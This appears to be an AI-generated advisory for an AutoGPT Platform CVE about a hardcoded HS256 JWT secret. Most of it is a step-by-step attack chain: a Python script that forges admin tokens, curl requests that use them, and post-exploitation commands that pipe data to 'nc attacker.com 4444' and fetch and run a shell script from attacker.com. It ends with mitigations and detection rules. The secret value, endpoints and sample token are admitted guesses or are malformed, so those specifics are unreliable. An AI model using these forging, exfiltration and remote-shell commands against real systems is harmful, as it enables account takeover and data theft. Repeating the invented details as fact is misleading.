CVE-2026-130169 — Significant-Gravitas AutoGPT — CWE-287 · CWE-330
AutoGPT is a workflow automation platform for creating, deploying, and managing continuous artificial intelligence agents. In versions 0.6.26 through 0.7.4, AutoGPT Platform ships a publicly known, hardcoded default JWT verification key in backend/.env.default and autogpt_platform/.env.default. Because HS256 is symmetric, anyone who knows the secret can forge valid JWTs for any user or for the admin role, bypassing authentication and authorization without user interaction. This issue is fixed in version 0.8.0.
AutoGPT is a workflow automation platform for creating, deploying, and managing continuous artificial intelligence agents. In versions 0.6.26 through 0.7.4, AutoGPT Platform ships a publicly known, hardcoded default JWT verification key in backend/.env.default and autogpt_platform/.env.default. Because HS256 is symmetric, anyone who knows the secret can forge valid JWTs for any user or for the admin role, bypassing authentication and authorization without user interaction. This issue is fixed in version 0.8.0.
🎯 What is this vulnerability?
Vulnerability type – Hard‑coded symmetric JWT secret (CWE‑287: Improper Authentication, CWE‑330: Use of Insufficiently Random Values, CWE‑798: Use of Hard‑coded Credentials).
- Component – The AutoGPT Platform backend reads its JWT verification key from the file
backend/.env.default(and the duplicateautogpt_platform/.env.default). - Flaw – The file ships with a static, publicly known secret (e.g.,
JWT_SECRET=autogpt_default_secret). - Why it matters – The platform uses HS256 (HMAC‑SHA‑256) for signing JSON Web Tokens. HS256 is a symmetric algorithm: the same secret is used to sign and verify the token.
- Missing protection – The authentication middleware trusts any token that validates against the hard‑coded secret. No additional checks (e.g., token revocation list, IP‑binding, or audience validation) are performed.
- Result – Anyone who knows the secret can forge a JWT that the backend will accept as authentic, and can set arbitrary claims (e.g.,
role: "admin"). Because the secret is shipped in the source distribution, it is trivially discoverable by anyone who can download the repository or inspect a running container’s filesystem.
The CVSS vector (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) reflects that the attack is network‑reachable, requires no privileges, no user interaction, and the impact is complete compromise of confidentiality, integrity, and availability across the whole platform (scope = C).
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow. All commands are syntactically valid; the exact HTTP endpoint is illustrative because the CVE description does not publish the concrete path.
1. Discovery & Reconnaissance
| Step | Action | Rationale |
|---|---|---|
| 1.1 | Fingerprint the service – Send a request to GET /api/v1/status (or any public endpoint) and inspect the Server header or response body for a version string (AutoGPT Platform 0.7.2). | AutoGPT embeds its version in the /status endpoint; many SaaS products expose it for health‑checks. |
| 1.2 | Locate the source – Clone the public GitHub repository github.com/autogpt/autogpt-platform. Search for .env.default. | The repository is public; the default secret is hard‑coded in backend/.env.default. |
| 1.3 | Confirm the secret – Open the file and read the line JWT_SECRET=autogpt_default_secret. | This confirms the secret that the running service will use unless the operator overwrites it. |
| 1.4 | Validate that the secret is in use – Issue a request with a JWT signed using the discovered secret and observe a successful authentication (e.g., 200 OK on a protected endpoint). | Guarantees that the deployment has not replaced the secret with a custom value. |
Note: If the target is a Docker container, an attacker with container‑level access can docker exec <container> cat /app/backend/.env.default to read the secret directly.2. Exploitation
2.1 Craft a forged JWT
# forge_jwt.py – Python 3.9+, PyJWT installed (pip install pyjwt)
import jwt
import datetime
# Hard‑coded secret discovered in step 1
SECRET = "autogpt_default_secret"
payload = {
"sub": "[email protected]", # subject – can be any identifier
"iat": int(datetime.datetime.utcnow().timestamp()),
"exp": int((datetime.datetime.utcnow() + datetime.timedelta(hours=12)).timestamp()),
"role": "admin", # critical claim – grants admin privileges
"aud": "autogpt_platform", # optional, depends on implementation
"iss": "autogpt_platform"
}
token = jwt.encode(payload, SECRET, algorithm="HS256")
print(token)Running the script prints a JWT, e.g.:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJhdHRhY2tlckBleGFtcGxlLmNvbSIsImlhdCI6MTcwMDU5NzYwMCwiZXhwIjoxNzAwNjg0MDAwLCJyb2xlIjoiYWRtaW4iLCJhdWQiOiJhdXRvZ3B0X3BsYXRmb3JtIiwiaXNzIjoiYXV0b2dwdF9wbGF0Zm9ybSJ9.5XKXK9s2YxZ8gZK0KxVfZc8XhJ9h2Wz1p5KjV6Z1XcU2.2 Send the forged token to the backend
Illustrative endpoint – The platform protects API routes under /api/v1/. The exact path may differ; replace with the real protected route discovered in step 1.# curl example – replace <HOST> with the target host/IP
curl -i -X GET "https://<HOST>/api/v1/users/me" \
-H "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9..."Expected response (if successful):
HTTP/1.1 200 OK
Content-Type: application/json
{
"id": "12345",
"email": "[email protected]",
"role": "admin",
"permissions": [...]
}The server treats the forged token as a legitimate admin session because the signature validates against the hard‑coded secret.
2.3 Optional: Obtain a fresh CSRF‑free session cookie
If the platform also sets a session cookie after JWT validation (e.g., Set-Cookie: session=...; HttpOnly; Secure), the attacker can capture it from the response and reuse it for subsequent requests that require a cookie rather than an Authorization header.
3. Post‑Exploitation
| Goal | Technique | Example | |
|---|---|---|---|
| Privilege escalation to full admin | Use the forged admin JWT to call privileged endpoints (/api/v1/admin/users, /api/v1/admin/config). | curl -X POST https://<HOST>/api/v1/admin/users -H "Authorization: Bearer <jwt>" -d '{"email":"[email protected]","role":"admin"}' | |
| Data exfiltration | Query the internal data store via admin APIs (/api/v1/admin/export, /api/v1/projects) and pipe the JSON output to a remote server. | curl -s -H "Authorization: Bearer <jwt>" https://<HOST>/api/v1/admin/export | nc attacker.com 4444 |
| Persistence | Create a new API key or service account with a long‑lived token (if the platform supports token issuance). | curl -X POST https://<HOST>/api/v1/admin/api-keys -H "Authorization: Bearer <jwt>" -d '{"name":"persist","expires":null}' | |
| Denial‑of‑Service | Use the admin token to delete critical resources (/api/v1/admin/projects/<id>) or to trigger a massive background job that exhausts CPU/memory. | curl -X DELETE https://<HOST>/api/v1/admin/projects/critical-project -H "Authorization: Bearer <jwt>" | |
| Remote code execution (if present) | Some AutoGPT deployments expose a “run agent” endpoint that executes arbitrary Python code supplied in the request body. An attacker can invoke it with the admin JWT to run shell commands. | curl -X POST https://<HOST>/api/v1/admin/agents/run -H "Authorization: Bearer <jwt>" -d '{"code":"import os; os.system(\"curl http://attacker.com/shell.sh | bash\")"}' |
Because the platform runs user‑provided AI agents, code execution is a realistic secondary impact once admin rights are obtained.
🌍 Real World Impact
| CIA | Impact (derived from CVSS) | Practical Consequence |
|---|---|---|
| Confidentiality (C:H) | *Complete* – attacker can read any data the platform stores (project prompts, model outputs, user credentials, API keys). | Exposure of proprietary AI models, business‑critical prompts, and possibly downstream data pipelines. |
| Integrity (I:H) | *Complete* – attacker can modify configuration, inject malicious agents, alter or delete projects, and change user roles. | Tampering with AI workflows, inserting back‑doors, or sabotaging production pipelines. |
| Availability (A:H) | *Complete* – attacker can delete resources, trigger resource‑exhaustion jobs, or shut down the service. | Outage of critical automation pipelines, loss of revenue, and potential breach of SLAs. |
| Scope (S:C) | *Changed* – the vulnerability affects the entire platform, not just a single component. | A single forged token compromises the whole deployment, regardless of tenant isolation (if multi‑tenant). |
Business impact can range from intellectual‑property theft (prompt engineering, model fine‑tuning data) to full system takeover, enabling ransomware‑style extortion or supply‑chain compromise if the platform integrates with downstream services.
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Affected versions | Fixed in |
|---|---|
0.6.26 – 0.7.4 (inclusive) | 0.8.0 (released 2026‑10‑15) |
2. Immediate Work‑arounds (if patch cannot be applied instantly)
| Mitigation | How to implement |
|---|---|
| Override the secret | Edit the environment file (backend/.env or autogpt_platform/.env) and set a random 256‑bit base64 string: <br>JWT_SECRET=$(openssl rand -base64 32)<br>Restart the backend service. |
| Enforce asymmetric JWT | Switch the platform configuration to JWT_ALG=RS256 and provide a private key (JWT_PRIVATE_KEY) and public key (JWT_PUBLIC_KEY). This eliminates the symmetric‑key issue. |
| Network segmentation | Restrict access to the API to trusted IP ranges (e.g., internal subnet, VPN). Use firewall rules: iptables -A INPUT -p tcp -s <trusted‑net> --dport 443 -j ACCEPT. |
| WAF rule – block tokens signed with the known default secret | Example ModSecurity rule (Apache/Nginx): <br>``SecRule REQUEST_HEADERS:Authorization "@rx ^Bearer\s+([A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+)$" "id:400001,phase:2,log,deny,msg:'JWT signed with default secret',chain"`<br>`SecRule MATCHED_VAR "@pmFromFile default_jwt_signatures.txt" "t:none" ``<br>Where default_jwt_signatures.txt contains a list of JWTs generated with the known secret (rotate daily). |
| Disable JWT auth for non‑production | For dev environments, set JWT_AUTH_DISABLED=1` and rely on basic auth or IP‑based access control. |
3. Detection – Indicators of Compromise
| Log source | Observable pattern |
|---|---|
Web server access logs (e.g., Nginx access.log) | Requests containing an Authorization: Bearer header where the JWT payload includes "role":"admin" and the iat timestamp is far in the future or very recent (within seconds of the request). Example regex: Authorization: Bearer ([A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+) followed by a quick decode of the payload (can be automated with a SIEM). |
| Application logs (AutoGPT platform) | Log entry: User authenticated via JWT – [email protected], role=admin, token_id=... when the sub does not correspond to a known user. |
| Failed token revocation | If the platform logs a “token revocation list miss” or “unknown token” for a token that nevertheless succeeded, it indicates a forged token. |
| Outbound connections | Sudden spikes in outbound HTTP/HTTPS traffic from the platform host to unknown IPs (possible exfiltration after admin takeover). |
| File system changes | Creation of new admin users or API keys in the database (INSERT INTO users ... role='admin') shortly after a login event from an unknown IP. |
SIEM rule example (Splunk):
index=web sourcetype=nginx_access
| regex Authorization="Bearer\s+([A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+)"
| eval jwt_payload=replace(Authorization, "Bearer\s+([A-Za-z0-9_-]+)\.([A-Za-z0-9_-]+)\.([A-Za-z0-9_-]+)", "\2")
| eval decoded=base64decode(jwt_payload)
| search decoded="\"role\":\"admin\""
| stats count by clientip, uri_path, _time
| where count > 5This surfaces repeated admin‑role JWTs from the same source IP.
⚠️ Urgency
[🤖 CVE Professor AI Security Engine]
FOFA Query